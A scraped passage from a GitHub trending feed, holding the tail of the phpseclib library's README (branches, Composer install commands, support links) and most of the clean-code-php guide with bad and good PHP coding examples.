DSA / DH, DES / 3DES / RC4 / Rijndael / AES / Blowfish / Twofish / Salsa20 / ChaCha20, GCM / Poly1305</p> <ul> <li><a href="https://github.com/phpseclib/phpseclib">Browse Git</a></li> </ul> <h2>Documentation</h2> <ul> <li><a href="https://phpseclib.com/">Documentation / Manual</a></li> <li><a href="https://api.phpseclib.com/master/">API Documentation</a> (generated by Doctum)</li> </ul> <h2>Branches</h2> <h3>master</h3> <ul> <li>Development Branch</li> <li>Unstable API</li> <li>Do not use in production</li> </ul> <h3>3.0</h3> <ul> <li>Long term support (LTS) release</li> <li>Major expansion of cryptographic primitives</li> <li>Minimum PHP version: 5.6.1</li> <li>PSR-4 autoloading with namespace rooted at <code>\phpseclib3</code></li> <li>Install via Composer: <code>composer require phpseclib/phpseclib:~3.0</code></li> </ul> <h3>2.0</h3> <ul> <li>Long term support (LTS) release</li> <li>Modernized version of 1.0</li> <li>Minimum PHP version: 5.3.3</li> <li>PSR-4 autoloading with namespace rooted at <code>\phpseclib</code></li> <li>Install via Composer: <code>composer require phpseclib/phpseclib:~2.0</code></li> </ul> <h3>1.0</h3> <ul> <li>Long term support (LTS) release</li> <li>PHP4 compatible</li> <li>Composer compatible (PSR-0 autoloading)</li> <li>Install using Composer: <code>composer require phpseclib/phpseclib:~1.0</code></li> <li><a href="http://sourceforge.net/projects/phpseclib/files/phpseclib1.0.21.zip/download">Download 1.0.21 as ZIP</a></li> </ul> <h2>Security contact information</h2> <p>To report a security vulnerability, please use the <a href="https://tidelift.com/security">Tidelift security contact</a>. Tidelift will coordinate the fix and disclosure.</p> <h2>Support</h2> <p>Need Support?</p> <ul> <li><a href="http://stackoverflow.com/questions/tagged/phpseclib">Checkout Questions and Answers on Stack Overflow</a></li> <li><a href="https://github.com/phpseclib/phpseclib/issues/new">Create a Support Ticket on GitHub</a></li> <li><a href="http://www.frostjedi.com/phpbb/viewforum.php?f=46">Browse the Support Forum</a> (no longer in use)</li> </ul> <h2>Special Thanks</h2> <p>Special Thanks to our $50+ sponsors!:</p> <ul> <li>Allan Simon</li> <li><a href="https://chargeover.com/">ChargeOver</a></li> </ul> <h2>Contributing</h2> <ol> <li> <p>Fork the Project</p> </li> <li> <p>Ensure you have Composer installed (see <a href="https://getcomposer.org/download/">Composer Download Instructions</a>)</p> </li> <li> <p>Install Development Dependencies</p> <pre><code class="language-sh">composer install </code></pre> </li> <li> <p>Create a Feature Branch</p> </li> <li> <p>Run continuous integration checks:</p> <pre><code class="language-sh">composer run-script all-quality-tools </code></pre> </li> <li> <p>Send us a Pull Request</p> </li> </ol> - - - piotrplenik/clean-code-php - 2023-09-24T01:57:58Z - tag:github.com,2023-09-24:/piotrplenik/clean-code-php - - <p>🛁 Clean Code concepts adapted for PHP</p><hr><h1>Clean Code PHP</h1> <h2>Table of Contents</h2> <ol> <li><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#introduction">Introduction</a></li> <li><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#variables">Variables</a> <ul> <li><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#use-meaningful-and-pronounceable-variable-names">Use meaningful and pronounceable variable names</a></li> <li><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#use-the-same-vocabulary-for-the-same-type-of-variable">Use the same vocabulary for the same type of variable</a></li> <li><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#use-searchable-names-part-1">Use searchable names (part 1)</a></li> <li><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#use-searchable-names-part-2">Use searchable names (part 2)</a></li> <li><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#use-explanatory-variables">Use explanatory variables</a></li> <li><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#avoid-nesting-too-deeply-and-return-early-part-1">Avoid nesting too deeply and return early (part 1)</a></li> <li><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#avoid-nesting-too-deeply-and-return-early-part-2">Avoid nesting too deeply and return early (part 2)</a></li> <li><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#avoid-mental-mapping">Avoid Mental Mapping</a></li> <li><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#dont-add-unneeded-context">Don't add unneeded context</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#comparison">Comparison</a> <ul> <li><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#use-identical-comparison">Use identical comparison</a></li> <li><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#null-coalescing-operator">Null coalescing operator</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#functions">Functions</a> <ul> <li><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#use-default-arguments-instead-of-short-circuiting-or-conditionals">Use default arguments instead of short circuiting or conditionals</a></li> <li><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#function-arguments-2-or-fewer-ideally">Function arguments (2 or fewer ideally)</a></li> <li><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#function-names-should-say-what-they-do">Function names should say what they do</a></li> <li><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#functions-should-only-be-one-level-of-abstraction">Functions should only be one level of abstraction</a></li> <li><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#dont-use-flags-as-function-parameters">Don't use flags as function parameters</a></li> <li><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#avoid-side-effects">Avoid Side Effects</a></li> <li><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#dont-write-to-global-functions">Don't write to global functions</a></li> <li><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#dont-use-a-singleton-pattern">Don't use a Singleton pattern</a></li> <li><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#encapsulate-conditionals">Encapsulate conditionals</a></li> <li><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#avoid-negative-conditionals">Avoid negative conditionals</a></li> <li><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#avoid-conditionals">Avoid conditionals</a></li> <li><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#avoid-type-checking-part-1">Avoid type-checking (part 1)</a></li> <li><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#avoid-type-checking-part-2">Avoid type-checking (part 2)</a></li> <li><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#remove-dead-code">Remove dead code</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#objects-and-data-structures">Objects and Data Structures</a> <ul> <li><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#use-object-encapsulation">Use object encapsulation</a></li> <li><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#make-objects-have-privateprotected-members">Make objects have private/protected members</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#classes">Classes</a> <ul> <li><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#prefer-composition-over-inheritance">Prefer composition over inheritance</a></li> <li><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#avoid-fluent-interfaces">Avoid fluent interfaces</a></li> <li><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#prefer-final-classes">Prefer final classes</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#solid">SOLID</a> <ul> <li><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#single-responsibility-principle-srp">Single Responsibility Principle (SRP)</a></li> <li><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#openclosed-principle-ocp">Open/Closed Principle (OCP)</a></li> <li><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#liskov-substitution-principle-lsp">Liskov Substitution Principle (LSP)</a></li> <li><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#interface-segregation-principle-isp">Interface Segregation Principle (ISP)</a></li> <li><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#dependency-inversion-principle-dip">Dependency Inversion Principle (DIP)</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#dont-repeat-yourself-dry">Don’t repeat yourself (DRY)</a></li> <li><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#translations">Translations</a></li> </ol> <h2>Introduction</h2> <p>Software engineering principles, from Robert C. Martin's book <a href="https://www.amazon.com/Clean-Code-Handbook-Software-Craftsmanship/dp/0132350882"><em>Clean Code</em></a>, adapted for PHP. This is not a style guide. It's a guide to producing readable, reusable, and refactorable software in PHP.</p> <p>Not every principle herein has to be strictly followed, and even fewer will be universally agreed upon. These are guidelines and nothing more, but they are ones codified over many years of collective experience by the authors of <em>Clean Code</em>.</p> <p>Inspired from <a href="https://github.com/ryanmcdermott/clean-code-javascript">clean-code-javascript</a>.</p> <p>Although many developers still use PHP 5, most of the examples in this article only work with PHP 7.1+.</p> <h2>Variables</h2> <h3>Use meaningful and pronounceable variable names</h3> <p><strong>Bad:</strong></p> <pre><code class="language-php">$ymdstr = $moment-&gt;format('y-m-d'); </code></pre> <p><strong>Good:</strong></p> <pre><code class="language-php">$currentDate = $moment-&gt;format('y-m-d'); </code></pre> <p><strong><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#table-of-contents">⬆ back to top</a></strong></p> <h3>Use the same vocabulary for the same type of variable</h3> <p><strong>Bad:</strong></p> <pre><code class="language-php">getUserInfo(); getUserData(); getUserRecord(); getUserProfile(); </code></pre> <p><strong>Good:</strong></p> <pre><code class="language-php">getUser(); </code></pre> <p><strong><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#table-of-contents">⬆ back to top</a></strong></p> <h3>Use searchable names (part 1)</h3> <p>We will read more code than we will ever write. It's important that the code we do write is readable and searchable. By <em>not</em> naming variables that end up being meaningful for understanding our program, we hurt our readers. Make your names searchable.</p> <p><strong>Bad:</strong></p> <pre><code class="language-php">// What the heck is 448 for? $result = $serializer-&gt;serialize($data, 448); </code></pre> <p><strong>Good:</strong></p> <pre><code class="language-php">$json = $serializer-&gt;serialize($data, JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE); </code></pre> <h3>Use searchable names (part 2)</h3> <p><strong>Bad:</strong></p> <pre><code class="language-php">class User { // What the heck is 7 for? public $access = 7; } // What the heck is 4 for? if ($user-&gt;access &amp; 4) { // ... } // What's going on here? $user-&gt;access ^= 2; </code></pre> <p><strong>Good:</strong></p> <pre><code class="language-php">class User { public const ACCESS_READ = 1; public const ACCESS_CREATE = 2; public const ACCESS_UPDATE = 4; public const ACCESS_DELETE = 8; // User as default can read, create and update something public $access = self::ACCESS_READ | self::ACCESS_CREATE | self::ACCESS_UPDATE; } if ($user-&gt;access &amp; User::ACCESS_UPDATE) { // do edit ... } // Deny access rights to create something $user-&gt;access ^= User::ACCESS_CREATE; </code></pre> <p><strong><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#table-of-contents">⬆ back to top</a></strong></p> <h3>Use explanatory variables</h3> <p><strong>Bad:</strong></p> <pre><code class="language-php">$address = 'One Infinite Loop, Cupertino 95014'; $cityZipCodeRegex = '/^[^,]+,\s*(.+?)\s*(\d{5})$/'; preg_match($cityZipCodeRegex, $address, $matches); saveCityZipCode($matches[1], $matches[2]); </code></pre> <p><strong>Not bad:</strong></p> <p>It's better, but we are still heavily dependent on regex.</p> <pre><code class="language-php">$address = 'One Infinite Loop, Cupertino 95014'; $cityZipCodeRegex = '/^[^,]+,\s*(.+?)\s*(\d{5})$/'; preg_match($cityZipCodeRegex, $address, $matches); [, $city, $zipCode] = $matches; saveCityZipCode($city, $zipCode); </code></pre> <p><strong>Good:</strong></p> <p>Decrease dependence on regex by naming subpatterns.</p> <pre><code class="language-php">$address = 'One Infinite Loop, Cupertino 95014'; $cityZipCodeRegex = '/^[^,]+,\s*(?&lt;city&gt;.+?)\s*(?&lt;zipCode&gt;\d{5})$/'; preg_match($cityZipCodeRegex, $address, $matches); saveCityZipCode($matches['city'], $matches['zipCode']); </code></pre> <p><strong><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#table-of-contents">⬆ back to top</a></strong></p> <h3>Avoid nesting too deeply and return early (part 1)</h3> <p>Too many if-else statements can make your code hard to follow. Explicit is better than implicit.</p> <p><strong>Bad:</strong></p> <pre><code class="language-php">function isShopOpen($day): bool { if ($day) { if (is_string($day)) { $day = strtolower($day); if ($day === 'friday') { return true; } elseif ($day === 'saturday') { return true; } elseif ($day === 'sunday') { return true; } return false; } return false; } return false; } </code></pre> <p><strong>Good:</strong></p> <pre><code class="language-php">function isShopOpen(string $day): bool { if (empty($day)) { return false; } $openingDays = ['friday', 'saturday', 'sunday']; return in_array(strtolower($day), $openingDays, true); } </code></pre> <p><strong><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#table-of-contents">⬆ back to top</a></strong></p> <h3>Avoid nesting too deeply and return early (part 2)</h3> <p><strong>Bad:</strong></p> <pre><code class="language-php">function fibonacci(int $n) { if ($n &lt; 50) { if ($n !== 0) { if ($n !== 1) { return fibonacci($n - 1) + fibonacci($n - 2); } return 1; } return 0; } return 'Not supported'; } </code></pre> <p><strong>Good:</strong></p> <pre><code class="language-php">function fibonacci(int $n): int { if ($n === 0 || $n === 1) { return $n; } if ($n &gt;= 50) { throw new Exception('Not supported'); } return fibonacci($n - 1) + fibonacci($n - 2); } </code></pre> <p><strong><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#table-of-contents">⬆ back to top</a></strong></p> <h3>Avoid Mental Mapping</h3> <p>Don’t force the reader of your code to translate what the variable means. Explicit is better than implicit.</p> <p><strong>Bad:</strong></p> <pre><code class="language-php">$l = ['Austin', 'New York', 'San Francisco']; for ($i = 0; $i &lt; count($l); $i++) { $li = $l[$i]; doStuff(); doSomeOtherStuff(); // ... // ... // ... // Wait, what is `$li` for again? dispatch($li); } </code></pre> <p><strong>Good:</strong></p> <pre><code class="language-php">$locations = ['Austin', 'New York', 'San Francisco']; foreach ($locations as $location) { doStuff(); doSomeOtherStuff(); // ... // ... // ... dispatch($location); } </code></pre> <p><strong><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#table-of-contents">⬆ back to top</a></strong></p> <h3>Don't add unneeded context</h3> <p>If your class/object name tells you something, don't repeat that in your variable name.</p> <p><strong>Bad:</strong></p> <pre><code class="language-php">class Car { public $carMake; public $carModel; public $carColor; //... } </code></pre> <p><strong>Good:</strong></p> <pre><code class="language-php">class Car { public $make; public $model; public $color; //... } </code></pre> <p><strong><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#table-of-contents">⬆ back to top</a></strong></p> <h2>Comparison</h2> <h3>Use <a href="http://php.net/manual/en/language.operators.comparison.php">identical comparison</a></h3> <p><strong>Not good:</strong></p> <p>The simple comparison will convert the string into an integer.</p> <pre><code class="language-php">$a = '42'; $b = 42; if ($a != $b) { // The expression will always pass } </code></pre> <p>The comparison <code>$a != $b</code> returns <code>FALSE</code> but in fact it's <code>TRUE</code>! The string <code>42</code> is different than the integer <code>42</code>.</p> <p><strong>Good:</strong></p> <p>The identical comparison will compare type and value.</p> <pre><code class="language-php">$a = '42'; $b = 42; if ($a !== $b) { // The expression is verified } </code></pre> <p>The comparison <code>$a !== $b</code> returns <code>TRUE</code>.</p> <p><strong><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#table-of-contents">⬆ back to top</a></strong></p> <h3>Null coalescing operator</h3> <p>Null coalescing is a new operator <a href="https://www.php.net/manual/en/migration70.new-features.php">introduced in PHP 7</a>. The null coalescing operator <code>??</code> has been added as syntactic sugar for the common case of needing to use a ternary in conjunction with <code>isset()</code>. It returns its first operand if it exists and is not <code>null</code>; otherwise it returns its second operand.</p> <p><strong>Bad:</strong></p> <pre><code class="language-php">if (isset($_GET['name'])) { $name = $_GET['name']; } elseif (isset($_POST['name'])) { $name = $_POST['name']; } else { $name = 'nobody'; } </code></pre> <p><strong>Good:</strong></p> <pre><code class="language-php">$name = $_GET['name'] ?? $_POST['name'] ?? 'nobody'; </code></pre> <p><strong><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#table-of-contents">⬆ back to top</a></strong></p> <h2>Functions</h2> <h3>Use default arguments instead of short circuiting or conditionals</h3> <p><strong>Not good:</strong></p> <p>This is not good because <code>$breweryName</code> can be <code>NULL</code>.</p> <pre><code class="language-php">function createMicrobrewery($breweryName = 'Hipster Brew Co.'): void { // ... } </code></pre> <p><strong>Not bad:</strong></p> <p>This opinion is more understandable than the previous version, but it better controls the value of the variable.</p> <pre><code class="language-php">function createMicrobrewery($name = null): void { $breweryName = $name ?: 'Hipster Brew Co.'; // ... } </code></pre> <p><strong>Good:</strong></p> <p>You can use <a href="https://www.php.net/manual/en/language.types.declarations.php">type hinting</a> and be sure that the <code>$breweryName</code> will not be <code>NULL</code>.</p> <pre><code class="language-php">function createMicrobrewery(string $breweryName = 'Hipster Brew Co.'): void { // ... } </code></pre> <p><strong><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#table-of-contents">⬆ back to top</a></strong></p> <h3>Function arguments (2 or fewer ideally)</h3> <p>Limiting the amount of function parameters is incredibly important because it makes testing your function easier. Having more than three leads to a combinatorial explosion where you have to test tons of different cases with each separate argument.</p> <p>Zero arguments is the ideal case. One or two arguments is ok, and three should be avoided. Anything more than that should be consolidated. Usually, if you have more than two arguments then your function is trying to do too much. In cases where it's not, most of the time a higher-level object will suffice as an argument.</p> <p><strong>Bad:</strong></p> <pre><code class="language-php">class Questionnaire { public function __construct( string $firstname, string $lastname, string $patronymic, string $region, string $district, string $city, string $phone, string $email ) { // ... } } </code></pre> <p><strong>Good:</strong></p> <pre><code class="language-php">class Name { private $firstname; private $lastname; private $patronymic; public function __construct(string $firstname, string $lastname, string $patronymic) { $this-&gt;firstname = $firstname; $this-&gt;lastname = $lastname; $this-&gt;patronymic = $patronymic; } // getters ... } class City { private $region; private $district; private $city; public function __construct(string $region, string $district, string $city) { $this-&gt;region = $region; $this-&gt;district = $district; $this-&gt;city = $city; } // getters ... } class Contact { private $phone; private $email; public function __construct(string $phone, string $email) { $this-&gt;phone = $phone; $this-&gt;email = $email; } // getters ... } class Questionnaire { public function __construct(Name $name, City $city, Contact $contact) { // ... } } </code></pre> <p><strong><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#table-of-contents">⬆ back to top</a></strong></p> <h3>Function names should say what they do</h3> <p><strong>Bad:</strong></p> <pre><code class="language-php">class Email { //... public function handle(): void { mail($this-&gt;to, $this-&gt;subject, $this-&gt;body); } } $message = new Email(...); // What is this? A handle for the message? Are we writing to a file now? $message-&gt;handle(); </code></pre> <p><strong>Good:</strong></p> <pre><code class="language-php">class Email { //... public function send(): void { mail($this-&gt;to, $this-&gt;subject, $this-&gt;body); } } $message = new Email(...); // Clear and obvious $message-&gt;send(); </code></pre> <p><strong><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#table-of-contents">⬆ back to top</a></strong></p> <h3>Functions should only be one level of abstraction</h3> <p>When you have more than one level of abstraction your function is usually doing too much. Splitting up functions leads to reusability and easier testing.</p> <p><strong>Bad:</strong></p> <pre><code class="language-php">function parseBetterPHPAlternative(string $code): void { $regexes = [ // ... ]; $statements = explode(' ', $code); $tokens = []; foreach ($regexes as $regex) { foreach ($statements as $statement) { // ... } } $ast = []; foreach ($tokens as $token) { // lex... } foreach ($ast as $node) { // parse... } } </code></pre> <p><strong>Bad too:</strong></p> <p>We have carried out some of the functionality, but the <code>parseBetterPHPAlternative()</code> function is still very complex and not testable.</p> <pre><code class="language-php">function tokenize(string $code): array { $regexes = [ // ... ]; $statements = explode(' ', $code); $tokens = []; foreach ($regexes as $regex) { foreach ($statements as $statement) { $tokens[] = /* ... */; } } return $tokens; } function lexer(array $tokens): array { $ast = []; foreach ($tokens as $token) { $ast[] = /* ... */; } return $ast; } function parseBetterPHPAlternative(string $code): void { $tokens = tokenize($code); $ast = lexer($tokens); foreach ($ast as $node) { // parse... } } </code></pre> <p><strong>Good:</strong></p> <p>The best solution is move out the dependencies of <code>parseBetterPHPAlternative()</code> function.</p> <pre><code class="language-php">class Tokenizer { public function tokenize(string $code): array { $regexes = [ // ... ]; $statements = explode(' ', $code); $tokens = []; foreach ($regexes as $regex) { foreach ($statements as $statement) { $tokens[] = /* ... */; } } return $tokens; } } class Lexer { public function lexify(array $tokens): array { $ast = []; foreach ($tokens as $token) { $ast[] = /* ... */; } return $ast; } } class BetterPHPAlternative { private $tokenizer; private $lexer; public function __construct(Tokenizer $tokenizer, Lexer $lexer) { $this-&gt;tokenizer = $tokenizer; $this-&gt;lexer = $lexer; } public function parse(string $code): void { $tokens = $this-&gt;tokenizer-&gt;tokenize($code); $ast = $this-&gt;lexer-&gt;lexify($tokens); foreach ($ast as $node) { // parse... } } } </code></pre> <p><strong><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#table-of-contents">⬆ back to top</a></strong></p> <h3>Don't use flags as function parameters</h3> <p>Flags tell your user that this function does more than one thing. Functions should do one thing. Split out your functions if they are following different code paths based on a boolean.</p> <p><strong>Bad:</strong></p> <pre><code class="language-php">function createFile(string $name, bool $temp = false): void { if ($temp) { touch('./temp/' . $name); } else { touch($name); } } </code></pre> <p><strong>Good:</strong></p> <pre><code class="language-php">function createFile(string $name): void { touch($name); } function createTempFile(string $name): void { touch('./temp/' . $name); } </code></pre> <p><strong><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#table-of-contents">⬆ back to top</a></strong></p> <h3>Avoid Side Effects</h3> <p>A function produces a side effect if it does anything other than take a value in and return another value or values. A side effect could be writing to a file, modifying some global variable, or accidentally wiring all your money to a stranger.</p> <p>Now, you do need to have side effects in a program on occasion. Like the previous example, you might need to write to a file. What you want to do is to centralize where you are doing this. Don't have several functions and classes that write to a particular file. Have one service that does it. One and only one.</p> <p>The main point is to avoid common pitfalls like sharing state between objects without any structure, using mutable data types that can be written to by anything, and not centralizing where your side effects occur. If you can do this, you will be happier than the vast majority of other programmers.</p> <p><strong>Bad:</strong></p> <pre><code class="language-php">// Global variable referenced by following function. // If we had another function that used this name, now it'd be an array and it could break it. $name = 'Ryan McDermott'; function splitIntoFirstAndLastName(): void { global $name; $name = explode(' ', $name); } splitIntoFirstAndLastName(); var_dump($name); // ['Ryan', 'McDermott']; </code></pre> <p><strong>Good:</strong></p> <pre><code class="language-php">function splitIntoFirstAndLastName(string $name): array { return explode(' ', $name); } $name = 'Ryan McDermott'; $newName = splitIntoFirstAndLastName($name); var_dump($name); // 'Ryan McDermott'; var_dump($newName); // ['Ryan', 'McDermott']; </code></pre> <p><strong><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#table-of-contents">⬆ back to top</a></strong></p> <h3>Don't write to global functions</h3> <p>Polluting globals is a bad practice in many languages because you could clash with another library and the user of your API would be none-the-wiser until they get an exception in production. Let's think about an example: what if you wanted to have configuration array? You could write global function like <code>config()</code>, but it could clash with another library that tried to do the same thing.</p> <p><strong>Bad:</strong></p> <pre><code class="language-php">function config(): array { return [ 'foo' =&gt; 'bar', ]; } </code></pre> <p><strong>Good:</strong></p> <pre><code class="language-php">class Configuration { private $configuration = []; public function __construct(array $configuration) { $this-&gt;configuration = $configuration; } public function get(string $key): ?string { // null coalescing operator return $this-&gt;configuration[$key] ?? null; } } </code></pre> <p>Load configuration and create instance of <code>Configuration</code> class</p> <pre><code class="language-php">$configuration = new Configuration([ 'foo' =&gt; 'bar', ]); </code></pre> <p>And now you must use instance of <code>Configuration</code> in your application.</p> <p><strong><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#table-of-contents">⬆ back to top</a></strong></p> <h3>Don't use a Singleton pattern</h3> <p>Singleton is an <a href="https://en.wikipedia.org/wiki/Singleton_pattern">anti-pattern</a>. Paraphrased from Brian Button:</p> <ol> <li>They are generally used as a <strong>global instance</strong>, why is that so bad? Because <strong>you hide the dependencies</strong> of your application in your code, instead of exposing them through the interfaces. Making something global to avoid passing it around is a <a href="https://en.wikipedia.org/wiki/Code_smell">code smell</a>.</li> <li>They violate the <a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#single-responsibility-principle-srp">single responsibility principle</a>: by virtue of the fact that <strong>they control their own creation and lifecycle</strong>.</li> <li>They inherently cause code to be tightly <a href="https://en.wikipedia.org/wiki/Coupling_%28computer_programming%29">coupled</a>. This makes faking them out under <strong>test rather difficult</strong> in many cases.</li> <li>They carry state around for the lifetime of the application. Another hit to testing since <strong>you can end up with a situation where tests need to be ordered</strong> which is a big no for unit tests. Why? Because each unit test should be independent from the other.</li> </ol> <p>There is also very good thoughts by <a href="http://misko.hevery.com/about/">Misko Hevery</a> about the <a href="http://misko.hevery.com/2008/08/25/root-cause-of-singletons/">root of problem</a>.</p> <p><strong>Bad:</strong></p> <pre><code class="language-php">class DBConnection { private static $instance; private function __construct(string $dsn) { // ... } public static function getInstance(): self { if (self::$instance === null) { self::$instance = new self(); } return self::$instance; } // ... } $singleton = DBConnection::getInstance(); </code></pre> <p><strong>Good:</strong></p> <pre><code class="language-php">class DBConnection { public function __construct(string $dsn) { // ... } // ... } </code></pre> <p>Create instance of <code>DBConnection</code> class and configure it with <a href="http://php.net/manual/en/pdo.construct.php#refsect1-pdo.construct-parameters">DSN</a>.</p> <pre><code class="language-php">$connection = new DBConnection($dsn); </code></pre> <p>And now you must use instance of <code>DBConnection</code> in your application.</p> <p><strong><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#table-of-contents">⬆ back to top</a></strong></p> <h3>Encapsulate conditionals</h3> <p><strong>Bad:</strong></p> <pre><code class="language-php">if ($article-&gt;state === 'published') { // ... } </code></pre> <p><strong>Good:</strong></p> <pre><code class="language-php">if ($article-&gt;isPublished()) { // ... } </code></pre> <p><strong><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#table-of-contents">⬆ back to top</a></strong></p> <h3>Avoid negative conditionals</h3> <p><strong>Bad:</strong></p> <pre><code class="language-php">function isDOMNodeNotPresent(DOMNode $node): bool { // ... } if (! isDOMNodeNotPresent($node)) { // ... } </code></pre> <p><strong>Good:</strong></p> <pre><code class="language-php">function isDOMNodePresent(DOMNode $node): bool { // ... } if (isDOMNodePresent($node)) { // ... } </code></pre> <p><strong><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#table-of-contents">⬆ back to top</a></strong></p> <h3>Avoid conditionals</h3> <p>This seems like an impossible task. Upon first hearing this, most people say, "how am I supposed to do anything without an <code>if</code> statement?" The answer is that you can use polymorphism to achieve the same task in many cases. The second question is usually, "well that's great but why would I want to do that?" The answer is a previous clean code concept we learned: a function should only do one thing. When you have classes and functions that have <code>if</code> statements, you are telling your user that your function does more than one thing. Remember, just do one thing.</p> <p><strong>Bad:</strong></p> <pre><code class="language-php">class Airplane { // ... public function getCruisingAltitude(): int { switch ($this-&gt;type) { case '777': return $this-&gt;getMaxAltitude() - $this-&gt;getPassengerCount(); case 'Air Force One': return $this-&gt;getMaxAltitude(); case 'Cessna': return $this-&gt;getMaxAltitude() - $this-&gt;getFuelExpenditure(); } } } </code></pre> <p><strong>Good:</strong></p> <pre><code class="language-php">interface Airplane { // ... public function getCruisingAltitude(): int; } class Boeing777 implements Airplane { // ... public function getCruisingAltitude(): int { return $this-&gt;getMaxAltitude() - $this-&gt;getPassengerCount(); } } class AirForceOne implements Airplane { // ... public function getCruisingAltitude(): int { return $this-&gt;getMaxAltitude(); } } class Cessna implements Airplane { // ... public function getCruisingAltitude(): int { return $this-&gt;getMaxAltitude() - $this-&gt;getFuelExpenditure(); } } </code></pre> <p><strong><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#table-of-contents">⬆ back to top</a></strong></p> <h3>Avoid type-checking (part 1)</h3> <p>PHP is untyped, which means your functions can take any type of argument. Sometimes you are bitten by this freedom and it becomes tempting to do type-checking in your functions. There are many ways to avoid having to do this. The first thing to consider is consistent APIs.</p> <p><strong>Bad:</strong></p> <pre><code class="language-php">function travelToTexas($vehicle): void { if ($vehicle instanceof Bicycle) { $vehicle-&gt;pedalTo(new Location('texas')); } elseif ($vehicle instanceof Car) { $vehicle-&gt;driveTo(new Location('texas')); } } </code></pre> <p><strong>Good:</strong></p> <pre><code class="language-php">function travelToTexas(Vehicle $vehicle): void { $vehicle-&gt;travelTo(new Location('texas')); } </code></pre> <p><strong><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#table-of-contents">⬆ back to top</a></strong></p> <h3>Avoid type-checking (part 2)</h3> <p>If you are working with basic primitive values like strings, integers, and arrays, and you use PHP 7+ and you can't use polymorphism but you still feel the need to type-check, you should consider <a href="https://www.php.net/manual/en/language.types.declarations.php">type declaration</a> or strict mode. It provides you with static typing on top of standard PHP syntax. The problem with manually type-checking is that doing it will require so much extra verbiage that the faux "type-safety" you get doesn't make up for the lost readability. Keep your PHP clean, write good tests, and have good code reviews. Otherwise, do all of that but with PHP strict type declaration or strict mode.</p> <p><strong>Bad:</strong></p> <pre><code class="language-php">function combine($val1, $val2): int { if (! is_numeric($val1) || ! is_numeric($val2)) { throw new Exception('Must be of type Number'); } return $val1 + $val2; } </code></pre> <p><strong>Good:</strong></p> <pre><code class="language-php">function combine(int $val1, int $val2): int { return $val1 + $val2; } 